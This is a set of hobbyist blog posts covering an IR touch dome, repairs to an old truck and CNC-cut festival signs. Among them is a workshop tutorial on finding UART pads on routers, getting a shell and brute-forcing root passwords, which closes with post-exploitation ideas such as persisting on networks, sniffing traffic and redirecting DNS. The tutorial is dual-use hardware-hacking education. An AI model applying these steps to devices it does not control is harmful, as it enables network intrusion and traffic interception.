The display will be made up of 20 triangles with around 300 LEDs in each, this makes it necessary for quite an interesting layout and control scheme which is what we have spent the last few months working out. This project will be split up into a few different posts. We will start with the touch input device and related software. Next I will discuss the software and hardware for controlling the LED array. Later comes the labor intensive tasks of building the steel dome, assembling the LED panels and all the wiring to go between everything. <br />
<br />
A spherical touch input device is not a novel idea and has been implemented many times before. I found inspiration in a Microsoft research paper found <a href="https://www.dgp.toronto.edu/~ravin/papers/uist2008_sphere.pdf">here</a> (pdf), I decided to try a similar approach using cheap commercially available hardware and open source software. I commissioned a local plastics forming company to make a ~500mm diameter dome from translucent polycarbonate plastic using a pressure forming tool. This was chosen because it was the cheapest option available, this has a downside in that the opacity is not consistent. At the peak of the dome the plastic has been stretched the most is significantly thinner than around the lower edges. I was able to work around this in software which I will explain later.<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiySpfhE_KiAY22zdU304pSUCs-ul1B-ojW_sPIYx8SG_xy77GRCGezTpHU-nNy-T_KY8RyQSziK1cUPZEy6fc-B3O8vEb6ZTAhXu289NKCixfmNal0t07AjMGWVe6gb-pFQFNgdNbh9K4/s1600/IMG_20170807_161045.jpg"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiySpfhE_KiAY22zdU304pSUCs-ul1B-ojW_sPIYx8SG_xy77GRCGezTpHU-nNy-T_KY8RyQSziK1cUPZEy6fc-B3O8vEb6ZTAhXu289NKCixfmNal0t07AjMGWVe6gb-pFQFNgdNbh9K4/s400/IMG_20170807_161045.jpg" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbw79qMrOAYR28To2p0fLEfNH9FosQBicK-oUfwLBnRLtHYkaPlZAwXvmVlSF7xmuLKr3zv1b1olawOBNzBT4BadoaQfEYDASP2ssdfxyP3BH1ZKx24q1MD8tbAODIgdl_2iP95-0AUZY/s1600/IMG_20170903_130038.jpg"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbw79qMrOAYR28To2p0fLEfNH9FosQBicK-oUfwLBnRLtHYkaPlZAwXvmVlSF7xmuLKr3zv1b1olawOBNzBT4BadoaQfEYDASP2ssdfxyP3BH1ZKx24q1MD8tbAODIgdl_2iP95-0AUZY/s400/IMG_20170903_130038.jpg" /></a></div>
<br />
<div>
A wide angle monochrome USB camera from ebay is used for sensing, I specifically asked the vendor to supply the camera without an infra red cut filter. In front of the camera is an infra red longpass filter to get rid of all the visible light coming into the camera. Inside the lower edge of the dome I placed infra red LED strips (made by de-soldering a white LED strip and adding my own digi-key bought IR LEDs), these flood the inside of the dome with infra red light. When a finger comes into contact with the outside of the dome it reflects the infra red light, this is picked up by the camera. I used this method because there will be a lot of coloured lights around and want to give my camera the best chance of picking up touches. The image below is what the camera sees.<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7eIEhwjJLg8tz-vlLrL3Nhh5MqM5VytGJ9NnwUZFfowxj0rc-wvWLxkDXkA7nX6Y-2kbuWowaU-SkUgJwLdLKawrCPnEUBgKwQzIoZoddLMV3e70m0vHOIZSrAgTNRWn8dcCj5csv5Qw/s1600/five_fingers.jpg"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7eIEhwjJLg8tz-vlLrL3Nhh5MqM5VytGJ9NnwUZFfowxj0rc-wvWLxkDXkA7nX6Y-2kbuWowaU-SkUgJwLdLKawrCPnEUBgKwQzIoZoddLMV3e70m0vHOIZSrAgTNRWn8dcCj5csv5Qw/s640/five_fingers.jpg" width="640" /></a></div>
<br />
The software for the touch input uses openCV and python to manipulate and extract information captured by the camera. The image processing involves the following process: <br />
<ol>
<li>A calibration image is taken with no finger touches and is stored. This gives us our baseline to compare against. </li>
<li>Subsequent images taken by the camera have the calibration image subtracted from them. This results in only the bright reflections caused by finger touches to show up. </li>
<li>A blob detection function in openCV is used to find the coordinates of the bright spots. This gives us our touch coordinates which can be used for anything. </li>
</ol>
The video below shows the dome working as a mouse input for my computer. At this point I had not switched over to using IR LEDs and was relying on visible light.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/afqBMO7qB_g/0.jpg" frameborder="0" height="532" src="https://www.youtube.com/embed/afqBMO7qB_g?feature=player_embedded" width="640"></iframe></div>
<br />
<a href="http://blog.laserphile.com/2018/01/software-and-electronics-for-driving.html">Next post</a> I will talk about the software and hardware required for driving the 5725 LEDs. If you are interested in the software all our source files are available on github <a href="https://github.com/emctechnician/touch_dome">here</a>.</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-20787834750395610112017-10-16T16:06:00.000+08:002017-12-29T06:20:41.309+08:001953 Austin truck repairs<div class="separator" style="clear: both; text-align: left;">
My father bought this 1953 Austin K9 truck from the local shire in 1992, the shire had used it as a fire truck so it has a big (rusty) water tank on the back. It has sat in his shed since then, it was used occasionally for watering plants around his property until the water tank in it rusted out. We still bring it out every now and then to enjoy just driving it to the beach or through the bush as it is quite a unique experience. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxBrSZyJv9NpRo5YrOLccUOXX_V7CUGveCMpGSoEvqHVfQe_RqKNvL0J9RYTOeyJDs8wCaAJ4YHKXL-9sSX_h7a9jBgmn1b13pZCF4KrdGOk7wIWNgaps5UuZKlmulmOEBwQ5RSi0pKkA/s1600/IMG_20161001_115647.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxBrSZyJv9NpRo5YrOLccUOXX_V7CUGveCMpGSoEvqHVfQe_RqKNvL0J9RYTOeyJDs8wCaAJ4YHKXL-9sSX_h7a9jBgmn1b13pZCF4KrdGOk7wIWNgaps5UuZKlmulmOEBwQ5RSi0pKkA/s640/IMG_20161001_115647.jpg" width="640" /></a> </div>
<div class="separator" style="clear: both; text-align: left;">
Due to the age of the truck there are a few problems we need to fix before we drive it again, the first of these we fixed was the fuel pump. The original fuel pump was mechanical and used a flexible diaphragm and a one way valve to pump the fuel, unfortunately the diaphragm started to disintegrate so as a temporary fix we had a gravity fed fuel tank. This wasn't great as we couldn't go very far and you had to climb up to fill it with fuel.The fuel pump issue was easily fixed with a new 12v electric pump and some tubing, we also added in a new fuel filter just in case.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7RbEB_RYfqn_y-e86-XWS5_5TqhAYpWVeKVbsJEkGt-ocuOnOPzfnWRL3VtBGbXSq_Tx0Pmo53-T-PNHYNieyakYDY4lWpVV5T4yCeBZm4QBgmGjX650h4r4_QoQUclrqPVhWBx6Ui_0/s1600/IMG_20161001_114932.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7RbEB_RYfqn_y-e86-XWS5_5TqhAYpWVeKVbsJEkGt-ocuOnOPzfnWRL3VtBGbXSq_Tx0Pmo53-T-PNHYNieyakYDY4lWpVV5T4yCeBZm4QBgmGjX650h4r4_QoQUclrqPVhWBx6Ui_0/s640/IMG_20161001_114932.jpg" width="640" /></a></div>
<b><br /></b>
The next major issue is the water pump, the bearings were so sloppy the shaft was visibly sagging and there was a significant leak of coolant out the front. This photo shows the front of the engine with the water pump already removed. It isn't much fun working on this thing as all of the nuts and bolts are very odd sizes. We were switching back and forth between various imperial and metric sizes all day.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6J57jAuKVPoG-ETeA8JtwJG28npm8oDj94i0akjXutiCoxbVFywWyaMLDfF5qEGxaIcTP457SpHIen-qJyAJxTzPUliorYfBxID_7dbbt6EuirGgkUGpu4xO9evKidnp7F5tzSOVBrcg/s1600/IMG_20161121_081647.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6J57jAuKVPoG-ETeA8JtwJG28npm8oDj94i0akjXutiCoxbVFywWyaMLDfF5qEGxaIcTP457SpHIen-qJyAJxTzPUliorYfBxID_7dbbt6EuirGgkUGpu4xO9evKidnp7F5tzSOVBrcg/s640/IMG_20161121_081647.jpg" width="480" /></a></div>
<br />
Below you can see the front section of the water pump which houses the bearings and the water seal butts up against it. The impeller is in the middle and the shaft on the right. The plan is to replace the bearings. which involved taking them to a bearings supplier and getting direct replacements. Replacing the water seal however was not so easy as it was already hacked together and had no life left in it. We could not find a direct replacement and so purchased a modern seal and decided to modify the pump to suit. For this I will be using my newly modified CNC router.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQPDphd8p8MgtGwpqrmI6T3OjAADN3A8sMZ6yE-6tcQXCsOOsZc2zdXZlpa2PJf0yzcn3xOtUlQHErs5SeUDx92FbsZR5Dq0z1q-pY9q0rZzr5Duf-tMX9MjKUCUF-ZbkshsaZLWg4sY4/s1600/IMG_20161216_203625.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQPDphd8p8MgtGwpqrmI6T3OjAADN3A8sMZ6yE-6tcQXCsOOsZc2zdXZlpa2PJf0yzcn3xOtUlQHErs5SeUDx92FbsZR5Dq0z1q-pY9q0rZzr5Duf-tMX9MjKUCUF-ZbkshsaZLWg4sY4/s640/IMG_20161216_203625.jpg" width="640" /></a></div>
<br />
I bolted the pump housing down with some 8mm rod I added some thread to as I didn't have any bolts long enough, these went through diagonal mounting holes of the housing, this let me have some control on how flat the whole thing was. The impeller was much easier to secure down.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDtUQUqL14VWeZXVZ-dPTQeQzm8SK9Y18i9GnfAyuisTqKXdNQcsh377XsValGvy4j0tQ9TallNxH4mVNppaI3GXRA_OUWoTPupbbLHoPd5R5Pv5UZ0EdZOaeR3PzP59ImT1WVIoYZ-QI/s1600/IMG_20161217_143709.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDtUQUqL14VWeZXVZ-dPTQeQzm8SK9Y18i9GnfAyuisTqKXdNQcsh377XsValGvy4j0tQ9TallNxH4mVNppaI3GXRA_OUWoTPupbbLHoPd5R5Pv5UZ0EdZOaeR3PzP59ImT1WVIoYZ-QI/s640/IMG_20161217_143709.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The following video shows the milling operation cutting into the cast housing. The plan is to glue in a lapped stainless steel washer to be a nice surface for the modern pump seal to seat against. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/pSZwLmxpo8I/0.jpg" frameborder="0" height="532" src="https://www.youtube.com/embed/pSZwLmxpo8I?feature=player_embedded" width="640"></iframe></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQxSN7J7kSYGr40btUVSDh0hb37LLiXYSORRtLYj-wn217Sqvb8tzq4_vLyHN3l9d3nrYM7qIX5AOeHtFbAmn8gPI1lHm0wDOu-32o1nGHYKgKPyprxQl0hp6dumfQIK3LDOzqGS16jV8/s1600/IMG_20161217_143416.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQxSN7J7kSYGr40btUVSDh0hb37LLiXYSORRtLYj-wn217Sqvb8tzq4_vLyHN3l9d3nrYM7qIX5AOeHtFbAmn8gPI1lHm0wDOu-32o1nGHYKgKPyprxQl0hp6dumfQIK3LDOzqGS16jV8/s640/IMG_20161217_143416.jpg" width="480" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: left;">
The next step was bringing the outer diameter of the impeller down to suit the modern water seal. I needed to find the center as a reference to my CAD so I used my multi-meter to do a continuity test between the router and the part. By jogging the machine very slowly I would hit the edge of the circle and my multi-meter would buzz, I took note of those co-ordinates and tested 2 other points, this let me calculate the center.<br />
<br /></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JvX0WH1a6SysaNOwDCm0erzJQIL81OtfioiwgN6xmuJXXzFzS4kZEoNtCPVNZ3UXqYc3wtExdO4LJ7gqlfq-fIhYVb7e2_CdOPnchUj7LbMYcGkn3JvEyoABUQoheHKtXfrO4EBEu9s/s1600/IMG_20161217_150234.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2JvX0WH1a6SysaNOwDCm0erzJQIL81OtfioiwgN6xmuJXXzFzS4kZEoNtCPVNZ3UXqYc3wtExdO4LJ7gqlfq-fIhYVb7e2_CdOPnchUj7LbMYcGkn3JvEyoABUQoheHKtXfrO4EBEu9s/s640/IMG_20161217_150234.jpg" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: left;">
Video of the operation, all my path files were generated using Fusion 360.<br />
<br /></div>
<div style="text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/Y0YBuM_nCq0/0.jpg" frameborder="0" height="532" src="https://www.youtube.com/embed/Y0YBuM_nCq0?feature=player_embedded" width="640"></iframe></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
End result is good as we wanted it the same diameter as the shaft.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAABNqtBJPjNshMoepNpOtYl_N9pP74y7O9QNTr8bJ7RJDoRYCzaSOA8j-RcMbeuOktkZTSFMeaPGT8nQQL7Rrl7AMCHOLgVsnFWORee3rAQbXzK5tQn9Rt_E8RSwZr0MteqFVz3Ibr2I/s1600/IMG_20161217_150441.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAABNqtBJPjNshMoepNpOtYl_N9pP74y7O9QNTr8bJ7RJDoRYCzaSOA8j-RcMbeuOktkZTSFMeaPGT8nQQL7Rrl7AMCHOLgVsnFWORee3rAQbXzK5tQn9Rt_E8RSwZr0MteqFVz3Ibr2I/s640/IMG_20161217_150441.jpg" width="480" /></a></div>
<br />
Here it is after fixing the fuel pump and water pump. I want to do some more restoration or at least a few things to stop it deteriorating any further. Some day I would love to take it on the Variety Bash which is a charity event where old vehicles are driven through Western Australia to raise money for disadvantaged children, but that is well in the future.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm3CFJ5KOtjqdF2lYLvqa9ocObJhZNKnuc65kux4PjZrpY3owdOJRKY1F8aB5DwG3VFjx_JKi7vdu7_jZ8d-_688NDEUnjpDotEGaKZhQDptvR_nWrAqyb0ijkEisjoduT7_0dcnBN-fA/s1600/IMG_20161227_151234.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm3CFJ5KOtjqdF2lYLvqa9ocObJhZNKnuc65kux4PjZrpY3owdOJRKY1F8aB5DwG3VFjx_JKi7vdu7_jZ8d-_688NDEUnjpDotEGaKZhQDptvR_nWrAqyb0ijkEisjoduT7_0dcnBN-fA/s640/IMG_20161227_151234.jpg" width="640" /></a></div>
<br />mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com2tag:blogger.com,1999:blog-6527582820690732985.post-26976886180308778362017-10-11T09:33:00.001+08:002017-10-11T09:57:34.834+08:00Platypus Hardware Hacking 101: Finding UART and Getting Root<h2 id="intro">
Intro</h2>
Last night I gave a talk and helped run a workshop at Platypus Facts and Hacks Melbourne. In the workshop we identified UART on a router using a USB to UART adapter to talk to the device, and managed to pop a shell or two. These techniques could be used to exploit nearly any kind of Internet of Shit device, since a staggering proportion of these devices have UART shells as a way to test the device.<br />
<ul>
</ul>
<h2 id="ftdi-basics">
FTDI basics</h2>
<img alt="FTDI Breakout" height="86" src="https://i.stack.imgur.com/21VZq.jpg" width="200" /><br />
FTDI is the name of a company that makes chips which have USB on one side and UART / RS232 / TTL / Serial.
Since there is more than one manufacturer or USB to UART adapters, FTDI is just synonymous with a USB to UART adapter from any manufacturer since it's less syllables (e.g. Biro == pen).<br />
<br />
You can pick up one of these adapters for about $5 on ebay. Just make sure your device has good drivers, and if you like to be versatile, get a chip that can do 3.3V and 5V.<br />
<br />
Once you grab your FTDI chip and install the drivers, the device will show up as a COM port on a Windows computer or a "file" in /dev/ on unix like <code>/dev/tty.usbserial</code><br />
If you're on unix, a good way to figure out exactly which file is the FTDI chip, is to <code>ls /dev/</code> with the device not plugged in, then plug it in, wait a second and <code>ls /dev/</code> again.
Any new devices that show up must be the FTDI chip!<br />
<br />
Now you'll need to use a serial monitor to send and recieve serial.
On Windows, you can use Putty to interface with the TTL, and unix, you can just use the <code>screen</code> or <code>picocom</code> command.<br />
To talk to a TTY device, you have to specify the baud rate, which is the number of bits per second that the device talks at.
If you set the wrong baud rate, your terminal will end up printing out garbage or nothing at all, but it means you're connected to something.<br />
<br />
Typically a FTDI cable has 4 to 6 pins:<br />
<img alt="FTDI Pinout" src="https://raw.githubusercontent.com/guyz/pyesp8266/master/ftdi_pinout.png" /><br />
<ul>
<li>Ground</li>
<li>Clear to Send</li>
<li>+5v</li>
<li>Transmit Asynchronous Data output.</li>
<li>Receive Asynchronous Data input.</li>
<li>Request to send</li>
</ul>
Some of these pins are vestigial leftovers from a time where computers were not fast enough to send and receive data all at once, but we don't need to use these pins for our purposes.<br />
<h2 id="identifying-uart">
Identifying UART</h2>
Typically we would let the device power itself normally, and then only connect the GND, TX and RX pins (not VCC!) to the uart test pads.
Finding them can be quite difficult, but the best method is to look up the router on OpenWRT, and they will usually have pretty good documentation on where the pins are.<br />
<img alt="UART Pins" src="https://wiki.openwrt.org/_media/media/tplink/tl-wr703n/tl-wr703n_pcb-gpio_2.jpg?w=400&tok=a61ea8" /><br />
If someone else hasn't written up your board, but you can see a collection of test pads, you can identify which test pads correspond to which uart pins with a little bit of heuristics. The more advanced way would be to look for a group of 3 or more test pads, and trace them back to the nearest chip, then look up what each of the pins on that chip do. You could also purchase an expensive logic analyser to do the work for you, but by far the cheapest way involves only a multimeter. We know that at a minimum, the UART header will have GND, TX, RX (and usually VCC) so we can use the multimeter to try and identify these pins.<br />
<br />
Don't forget to write up the information you find on somewhere like OpenWRT or your own blog if you can't find the research elsewhere. It will save someone else having to go through the same process as you, and you will get mad internet points.<br />
<h3 id="identify-ground-">
Identify Ground.</h3>
Electronic engineers love ground, so are going to be many points on your board that are connected to ground. Every ground pin is connected to one another, and usually the shielding on different ports on the PCB is also connected to ground.
So with the router disconnected from power, have a look for either a group of circular test pads, a row of through holes or a row of male 0.1" headers and begin probing.<br />
<br />
You can test continuity to ground for each of your test pads to determine which of them are ground. Sometimes the PCB silkscreen will help you out by labelling ground for you<br />
<h3 id="identifying-vcc">
Identifying VCC</h3>
VCC is the name given to the positive voltage rail. Sometimes a complex circuit board can have multiple positive rails at different voltages, but a router will usually run on a mobile system-on-chip that runs on 3.3V.
With the device powered on, you can test the voltage difference between ground and each pin.
Just be careful not to directly bridge ground and VCC since it could fry your power supply. To do this, set your multimeter to measure in the range of 2 to 5 Volts DC (not AC).<br />
<br />
Depending on the circuitry behind the UART, the VCC will usually stay at a stable voltage of exactly 3.3 or 5 Volts, but the TX and RX pins might have a less stable, lower voltage, particularly during boot when data is being sent over serial.<br />
<br />
You may also notice that VCC will have a thicker trace going to the pin compared to TX and RX on some PCBs, and VCC can be labelled on the PCB as Vcc, Vbb, V+, Vee, Vdd or Vss. Just remember that the power supplied to the router by the wall (usually a 12V barrel jack or a 5V USB) will most likely be stepped down to a different voltage on the board.<br />
<br />
Another hot tip: to be sure that a pin is VCC, try to identify multiple points that are at VCC relative to ground at different points on the board. Typically you might measure a strong continuity between these pins, even when the board is off, but you might only measure a "blip" of continuity between VCC and TX / RX.<br />
<h3 id="identifying-tx-and-baud-rate">
Identifying TX and Baud rate</h3>
Now that we've identified which pins are VCC and GND, we can hook GND of the FTDI up to GND of the router, and probe different pads to try and find a pin that's transmitting serial.
Simply connect the RX pin of your UART to different points on the board, selecting common baud rates like 115200 and 9600, rebooting the router each time.
If you get garbage on your serial monitor, that means your pin is sending some kind of signal, which means you should simply try a different baud rate.
This can be a tedius but rewarding process. Be careful not to plug any of the pins you identified as VCC on the board in to your FTDI's RX or you could break stuff.
This script may be of use as well! <a href="https://github.com/devttys0/baudrate/blob/master/baudrate.py">https://github.com/devttys0/baudrate/blob/master/baudrate.py</a><br />
<h3 id="identifying-rx">
Identifying RX</h3>
Now that you've got your TX and know what baud rate to listen to, you can start trying to find the RX pin on your board. RX is usually right next to TX but just be careful again not to plug VCC in to the TX on your FTDI.
You just connect the TX pin of your FTDI to each potential RX pad on the board, typing stuff in to your serial monitor each time and if your serial monitor starts behaving like a TTY then <strong>boom!</strong> You've got UART baby.
Depending on what serial port you end up on, you could be listening to the debug logs of a subprocessor on the board, so you may have to keep hunting until you get a serial port connected to the main SoC that resembles a linux TTY with stuff like kernel messages and diagnostics.<br />
<br />
<h2>
No UART? No Problem.</h2>
<div>
If you weren't able to identify the UART, you can still have some fun with JTAG, but that requires special hardware like a Bus Pirate, and who even has $25?</div>
<h2 id="getting-shell">
Getting Shell</h2>
Now that you've got UART, depending on your choice of router you may need to do some trickery to get a shell.
Carefully read the output of the router when it boots, and look for stuff like "press return now for console".
Other kinds of routers require you to type something like "system console" or "shell" to get a shell, but you may need to type "help" to figure out the exact syntax it requires.
If you have no luck figuring out how to get shell, some google dorking will be helpful here.
Look for research or manufacturer documentation on your router or a similar router from the same manufacturer.
Consider the fact that cheaper routers from obscure manufacurers like the ones you find on Alibaba will often be rebrands of other manufacturers.
Otherwise, fuzzing techniques may be required here.<br />
<h2 id="rooting">
Rooting</h2>
If you've got a shell, and you're really lucky, sometimes it will drop you straight in to root, otherwise it will ask you for a login / password,
This is where you can try to guess the manufacturer's root password, which will typically be hardcoded in the device firmware and selected from a handful of root passwords that a given manufacturer uses.
Again, you'll need to do some dorking to get some research or docco that mentions this root password.
If your dorking is unsuccessful you may have to brute force it, which is much easier to do on unix. This would typically involve piping a password cracking utility like Hydra to the UART and listening to the response, but you will probably need to write some kind of Python script to set up and manage your pipes.<br />
<h2 id="poist-coital-shenanigans-">
Post-coital Router Shenanigans</h2>
Now that you've rooted your router, the sky is the limit. If the router has enough memory you can install all kinds of fun things on it. Often smaller routers will have extremely limited storage, so you may need to commandeer one of the USB ports on the router to store install extra packages on a hidden USB drive.<br />
<br />
If you want to easily install linux packages and don't mind being easily detected, you can reflash the firmware to something like OpenWRT or TomatoRT which comes with the opkg package maanger.<br />
<br />
Some ideas:<br />
<br />
<ul>
<li>Persist on a target network</li>
<li>Sniff traffic to discover services on the network</li>
<li>Mess with the network's routing table and DNS to re-direct traffic to a box you control</li>
<li>Bitcoin mining?</li>
<li>????</li>
<li>Profit</li>
</ul>
derwentxhttp://www.blogger.com/profile/18302517537094942860noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-3578712087293973482017-03-29T22:16:00.000+08:002017-12-29T09:30:51.043+08:00Making signs for Blazing Swan<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: center;">
<div style="text-align: left;">
Over the past couple of months myself and a couple of friends have been making signs for our theme camp, Moon Base, for <a href="http://blazingswan.com.au/">Blazing Swan</a> 2017. The main signage will be going on our entrance way (pictured below).<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq1lSfFdCna01tiHa_wbAjxIOOJ4MdSXIU2SeNVZTb4VNR91PtYnbOfcrSkkGaKFrGRYCzM73gJYgo1-k1rcstrQ6gx3D9kvOlRZlGb1VT_nfIlK_69MNctxZPnnexngkrEkOoTvKF6n8/s1600/IMG_20170226_151110.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq1lSfFdCna01tiHa_wbAjxIOOJ4MdSXIU2SeNVZTb4VNR91PtYnbOfcrSkkGaKFrGRYCzM73gJYgo1-k1rcstrQ6gx3D9kvOlRZlGb1VT_nfIlK_69MNctxZPnnexngkrEkOoTvKF6n8/s640/IMG_20170226_151110.jpg" width="640" /></a></div>
</div>
</div>
<br />
Making the sign body and wiring up the electronics took the vast amount of time in this project. There was several hours of milling to make the various parts of the sign. The lettering inlays are made of lightly spray painted poly-carbonate sheets I cut out in my mill.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Ts5Leityra3HwssvQUNCCIDfMtTRtbv2T1eh9FGU3klNa4Xs_jK1v-Rb1DJWTxJKhvjO-GJ6kp5DYCPyRs7l27O-Qr3wWKQGqOveH6JdV40ez8K9hEceU_hsSmpXp3Faz1Jmf54blck/s1600/IMG_20170119_153250.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_Ts5Leityra3HwssvQUNCCIDfMtTRtbv2T1eh9FGU3klNa4Xs_jK1v-Rb1DJWTxJKhvjO-GJ6kp5DYCPyRs7l27O-Qr3wWKQGqOveH6JdV40ez8K9hEceU_hsSmpXp3Faz1Jmf54blck/s320/IMG_20170119_153250.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy5L3OW9ccwpG0UNP-9rurb13tUnU3Qg_U5I89Gge65kzO8J7V7cjhDHgamlZOM00Hu8UXT2PiUq7Qo24CzBVDBqelGfvvmnj7Q-00Kz3fiEf_AgeMdr6gdeQllFcj5R3ZgcGPEhiexFA/s1600/IMG_20170303_142006.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy5L3OW9ccwpG0UNP-9rurb13tUnU3Qg_U5I89Gge65kzO8J7V7cjhDHgamlZOM00Hu8UXT2PiUq7Qo24CzBVDBqelGfvvmnj7Q-00Kz3fiEf_AgeMdr6gdeQllFcj5R3ZgcGPEhiexFA/s320/IMG_20170303_142006.jpg" width="240" /></a></div>
The sign below is for our (water) bar. All of the signs were cut on my CNC mill and are made of veneered plywood marketed as Formply. I used this after trying MDF and the Formply cuts much cleaner as it chips a lot more than the MDF which turns into more dust sized particles.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiSsiRHMURtgoLXFIkAHI2-3fn38_69d5hmobzesLE-OkwK3vvp8jR2t6U4DBC_rabeoVJianB612wtuGe5G_yrXav9rxw4wildGe2RU0-TEXdmBk3kp-DOlfSUtZgz3mV33jocpj4Rf8/s1600/IMG_20170307_204940.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiSsiRHMURtgoLXFIkAHI2-3fn38_69d5hmobzesLE-OkwK3vvp8jR2t6U4DBC_rabeoVJianB612wtuGe5G_yrXav9rxw4wildGe2RU0-TEXdmBk3kp-DOlfSUtZgz3mV33jocpj4Rf8/s400/IMG_20170307_204940.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="" style="clear: both; text-align: left;">
The signs will be mounted above our entrance way to our camp on a sheet of plywood so I have epoxied some nuts on the inside of the signs so I can bolt them onto the entrance without any visible fasteners.</div>
<div class="separator" style="clear: both; text-align: center;">
